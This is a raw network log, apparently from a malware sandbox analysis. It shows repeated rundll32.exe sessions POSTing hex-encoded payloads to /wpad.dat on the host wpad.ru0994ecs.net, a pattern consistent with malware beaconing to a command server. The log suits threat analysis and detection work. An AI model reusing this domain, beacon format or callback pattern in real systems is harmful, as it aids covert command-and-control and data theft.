2024-04-16 13:37:03 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 32 62 66 35 65 31 62 30 31 62 32 33 61 61 36 35 31 61 30 61 39 64 36 34 31 37 38 38 36 34 33 31 66 63 35 62 30 65 34 31 36 65 34 30 66 32 65 66 61 33 32 66 39 65 31 37 30 35 66 33 37 30 63 61 32 65 33 37 37 36 64 66 66 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e2bf5e1b01b23aa651a0a9d6417886431fc5b0e416e40f2efa32f9e1705f370ca2e3776dff73b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 13:37:03 UTC	535	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 13:37:03 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=OOrceTAcuf3KczXDIY0wIm5QgssAcdKXYB59YxkhUVIdEIeZbvR3SUgaYA8HZgtJl5%2F19mqQ0bZyBao8NFq7WzNj0%2BKOIIe8CUiM2%2B%2B3smOpSoqFfYieoWFBb9TSmFvml9bGRXY%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8754915ece4569f3-ATL
2024-04-16 13:37:03 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
109	192.168.2.8	49819	104.21.62.151	443	7744	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 13:37:03 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
2024-04-16 13:37:03 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 32 62 66 35 30 31 62 30 31 61 62 34 36 64 62 32 66 61 36 62 62 61 35 35 63 37 36 66 36 32 35 31 35 62 62 62 38 65 64 31 65 65 30 37 39 32 61 38 32 34 37 38 61 66 35 30 34 34 65 35 34 31 65 61 31 66 34 30 63 31 35 66 61 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e2bf501b01ab46db2fa6bba55c76f62515bbb8ed1ee0792a82478af5044e541ea1f40c15fa73b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 13:37:03 UTC	537	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 13:37:03 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=YDK7pEbEd2yILtkvxfGDHAfC5pDVS6pbrvjKBVZ4FR67xiLjDDhpRTxn%2B%2Fg2uicBoKHfOMxnHSkjYPUY9eTRL17NjYGV6SG%2B0gkjyQGQlEiVzMV9e64ahZXifl3NC%2F6dKt%2FiUSw%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8754915ecb3dad83-ATL
2024-04-16 13:37:03 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
110	192.168.2.8	49821	104.21.62.151	443	7728	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 13:37:03 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
2024-04-16 13:37:03 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 32 62 66 35 31 31 62 30 31 61 32 33 39 61 63 35 66 64 36 62 33 61 37 35 33 37 37 38 64 35 39 36 31 63 34 62 30 66 31 36 34 39 30 37 34 33 32 65 34 33 31 38 34 39 31 31 31 35 35 33 35 31 38 61 33 65 63 30 63 36 66 65 34 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e2bf511b01a239ac5fd6b3a753778d5961c4b0f164907432e431849111553518a3ec0c6fe473b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 13:37:04 UTC	531	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 13:37:03 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=XxsSs3ZgSRe2ap9gjCN3TusE2doTyXj3V29xSKHsCZ1soJZoDLe9r1dZvU7IMO8OsGXVtywvALgddVEJ4vC6QUsuw1AaCKC4MjvG76lSn%2F9bXL75pSBi17vdEYBWbk5d%2FYOtZkg%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8754915ef80bb09d-ATL
2024-04-16 13:37:04 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
111	192.168.2.8	49822	104.21.62.151	443	7820	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 13:37:04 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
2024-04-16 13:37:04 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 32 62 66 35 65 31 62 30 31 62 32 33 61 61 36 35 31 61 30 61 39 64 36 34 31 37 38 38 36 34 33 31 66 63 35 62 30 65 34 31 36 65 34 30 66 32 65 66 61 33 32 66 39 65 31 37 30 35 66 33 37 30 63 61 32 65 33 37 37 36 64 66 66 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e2bf5e1b01b23aa651a0a9d6417886431fc5b0e416e40f2efa32f9e1705f370ca2e3776dff73b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 13:37:04 UTC	533	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 13:37:04 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=OCenFlB549yc1fe%2Fl5Kk0NzwVUbYqfvVa5kjJ%2BX6enV5ZXF5vfpGseC4iADkUFGJrsbdVoV4CKpzPErqZ8Kq%2FMFqx6o4MoUxSCUn7e04LiiAAqnAa0HqzQ8eJmsS2ou7evPaTLQ%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87549162887317ff-ATL
2024-04-16 13:37:04 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
112	192.168.2.8	49823	104.21.62.151	443	7744	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 13:37:08 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
2024-04-16 13:37:08 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 32 62 66 35 30 31 62 30 31 61 62 34 36 64 62 32 66 61 36 62 62 61 35 35 63 37 36 66 36 32 35 31 35 62 62 62 38 65 64 31 65 65 30 37 39 32 61 38 32 34 37 38 61 66 35 30 34 34 65 35 34 31 65 61 31 66 34 30 63 31 35 66 61 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e2bf501b01ab46db2fa6bba55c76f62515bbb8ed1ee0792a82478af5044e541ea1f40c15fa73b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 13:37:08 UTC	541	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 13:37:08 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=YnqfbiVdiPvYTZAnfbRgfMHNnlNGaFTwn1%2B%2B%2BsSjtIiJL7tI%2FNU9J7%2BKXmFstnCdmn%2Bg5uvzemgAgwkbAgH30VU5M7EcH76Qc7suIooqDG7VX7TnLY31Jvkw7nWz9uJ4TM3D%2Bpc%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8754917b8c7744d5-ATL
2024-04-16 13:37:08 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
113	192.168.2.8	49824	104.21.62.151	443	7728	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 13:37:08 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
2024-04-16 13:37:08 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 32 62 66 35 31 31 62 30 31 61 32 33 39 61 63 35 66 64 36 62 33 61 37 35 33 37 37 38 64 35 39 36 31 63 34 62 30 66 31 36 34 39 30 37 34 33 32 65 34 33 31 38 34 39 31 31 31 35 35 33 35 31 38 61 33 65 63 30 63 36 66 65 34 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e2bf511b01a239ac5fd6b3a753778d5961c4b0f164907432e431849111553518a3ec0c6fe473b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 13:37:08 UTC	533	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 13:37:08 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=aLjTFgY6PnfjmOLbD82Cs8T1bIk1CXVgK2u1vFrzduSsTy5Cs7ZPiUsxzTvuSRPtA3KgBZ7TJ7KPWA1fay0We0WVmuPi3J67uCsna02HA%2FT%2F47smp0UjZ70MW%2BcBL5rtHXpTPVY%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8754917ba83eb0a9-ATL
2024-04-16 13:37:08 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
114	192.168.2.8	49825	104.21.62.151	443	7820	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 13:37:08 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
2024-04-16 13:37:08 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 32 62 66 35 65 31 62 30 31 62 32 33 61 61 36 35 31 61 30 61 39 64 36 34 31 37 38 38 36 34 33 31 66 63 35 62 30 65 34 31 36 65 34 30 66 32 65 66 61 33 32 66 39 65 31 37 30 35 66 33 37 30 63 61 32 65 33 37 37 36 64 66 66 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e2bf5e1b01b23aa651a0a9d6417886431fc5b0e416e40f2efa32f9e1705f370ca2e3776dff73b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 13:37:09 UTC	531	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 13:37:09 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=QAt%2BZ15ZOFKDyjOPjLDoix265sEKbSL2SerljcQItcy4iQPnzL5gDj1%2BwQCTyOp70BKYyoE8wKwgKI20zGfwldmQV2NfMzn8sSeBhbtIjfltQLhmtYvO4ngsQMjVbjpr6QfTPIs%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8754917f9cf6ad8c-ATL
2024-04-16 13:37:09 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
115	192.168.2.8	49826	104.21.62.151	443	7820	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 13:37:12 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
2024-04-16 13:37:12 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 32 62 66 35 65 31 62 30 31 62 32 33 61 61 36 35 31 61 30 61 39 64 36 34 31 37 38 38 36 34 33 31 66 63 35 62 30 65 34 31 36 65 34 30 66 32 65 66 61 33 32 66 39 65 31 37 30 35 66 33 37 30 63 61 32 65 33 37 37 36 64 66 66 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e2bf5e1b01b23aa651a0a9d6417886431fc5b0e416e40f2efa32f9e1705f370ca2e3776dff73b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 13:37:12 UTC	531	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 13:37:12 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=tOlnMioFMKC5dPi4Nii%2F9uB1R1wWdfxQbqGAAeIuiNnG0j26W2NSSBTnYJW8ESn62aIriAGuhskoI3cVhFUb5rE%2FuyHUIxsv3aCEJkTqqJkj7QjFHsvojMs7GVGnSKIAo2D87AM%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87549196391d6782-ATL
2024-04-16 13:37:12 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
116	192.168.2.8	49827	104.21.62.151	443	7728	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 13:37:13 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
2024-04-16 13:37:13 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 32 62 66 35 31 31 62 30 31 61 32 33 39 61 63 35 66 64 36 62 33 61 37 35 33 37 37 38 64 35 39 36 31 63 34 62 30 66 31 36 34 39 30 37 34 33 32 65 34 33 31 38 34 39 31 31 31 35 35 33 35 31 38 61 33 65 63 30 63 36 66 65 34 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e2bf511b01a239ac5fd6b3a753778d5961c4b0f164907432e431849111553518a3ec0c6fe473b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 13:37:14 UTC	529	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 13:37:14 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=uZWPkEe6f8OYmnemmgmUPYeolYHJBhxvXADLPQaZPCoSErUUsFpthQiiPDslzYKIl9rmF787T9O5khWr2TPZTzuNmYOfyZ2mlnp6RyiiBVm%2B7yMCTTjjoqERQFeJtkWaGzNBtHI%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8754919e88b8ad52-ATL
2024-04-16 13:37:14 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
117	192.168.2.8	49828	104.21.62.151	443	7744	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 13:37:13 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
2024-04-16 13:37:13 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 32 62 66 35 30 31 62 30 31 61 62 34 36 64 62 32 66 61 36 62 62 61 35 35 63 37 36 66 36 32 35 31 35 62 62 62 38 65 64 31 65 65 30 37 39 32 61 38 32 34 37 38 61 66 35 30 34 34 65 35 34 31 65 61 31 66 34 30 63 31 35 66 61 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e2bf501b01ab46db2fa6bba55c76f62515bbb8ed1ee0792a82478af5044e541ea1f40c15fa73b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 13:37:14 UTC	535	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 13:37:14 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=DNook1NeeJ0NhdN4DPdR64eVN9GVBJUH35O5FmIv0A4IUOeRHAIM7aNGjvRtLvqinDTOxy1X%2BP5mj5i7A%2B5R1CFKYeX4dOJ0bv%2B7bPrPDVZllgEvifymG%2FIQMvgwtRBiDUqhT8w%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8754919eabd853b2-ATL
2024-04-16 13:37:14 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
118	192.168.2.8	49829	104.21.62.151	443	7820	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 13:37:14 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
2024-04-16 13:37:14 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 32 62 66 35 65 31 62 30 31 62 32 33 61 61 36 35 31 61 30 61 39 64 36 34 31 37 38 38 36 34 33 31 66 63 35 62 30 65 34 31 36 65 34 30 66 32 65 66 61 33 32 66 39 65 31 37 30 35 66 33 37 30 63 61 32 65 33 37 37 36 64 66 66 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e2bf5e1b01b23aa651a0a9d6417886431fc5b0e416e40f2efa32f9e1705f370ca2e3776dff73b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 13:37:14 UTC	531	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 13:37:14 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=uPYT8nzjpzg89YRAaZ5Caypx2S2X7FPb8RizhLpdhOlwr9qnZ3OZOd2ZIOz5EXZRzTcOZnVONa0x9UKAaKjK5mBMWWuCVfu9vI6b%2Bk%2FPS7R7IQNYSPPFu6GOp4HB4zwt8peq3DM%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 875491a0394412d6-ATL
2024-04-16 13:37:14 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
119	192.168.2.8	49830	104.21.62.151	443	7820	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 13:37:15 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
2024-04-16 13:37:15 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 32 62 66 35 65 31 62 30 31 62 32 33 61 61 36 35 31 61 30 61 39 64 36 34 31 37 38 38 36 34 33 31 66 63 35 62 30 65 34 31 36 65 34 30 66 32 65 66 61 33 32 66 39 65 31 37 30 35 66 33 37 30 63 61 32 65 33 37 37 36 64 66 66 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e2bf5e1b01b23aa651a0a9d6417886431fc5b0e416e40f2efa32f9e1705f370ca2e3776dff73b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 13:37:16 UTC	541	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 13:37:16 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=yC2t5Qr6tY%2BNAFNCwLwQ704EPUe%2FvGX%2B2NTLavby%2B6dmQSdiP5bBt7stT%2FjlSpRN5pfIjfTxWhEZtKGnDjvfICAei%2B6KCPCEBUv9C%2FUTHlzzuygqSvJhNIYHGxWZ3KtOnCpe8Kw%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 875491aa8b854557-ATL
2024-04-16 13:37:16 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
120	192.168.2.8	49831	104.21.62.151	443	7820	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 13:37:18 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
2024-04-16 13:37:18 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 32 62 66 35 65 31 62 30 31 62 32 33 61 61 36 35 31 61 30 61 39 64 36 34 31 37 38 38 36 34 33 31 66 63 35 62 30 65 34 31 36 65 34 30 66 32 65 66 61 33 32 66 39 65 31 37 30 35 66 33 37 30 63 61 32 65 33 37 37 36 64 66 66 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e2bf5e1b01b23aa651a0a9d6417886431fc5b0e416e40f2efa32f9e1705f370ca2e3776dff73b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 13:37:18 UTC	535	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 13:37:18 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=FSa0GsoWoy35FRzFrEV2x%2BywJJBCgx3AwOlw6ewMMuNe450VKUNbBitX0iyAWS%2FOZ6e1q7SwZWKCzPHazI2GxfD7xqR%2Bb2b37wPIXAbVWnTL8ZAoAki0KCxOXNJXWl4m%2FZW3MkY%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 875491bb0c6a53fe-ATL
2024-04-16 13:37:18 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
121	192.168.2.8	49832	104.21.62.151	443	7728	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 13:37:19 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
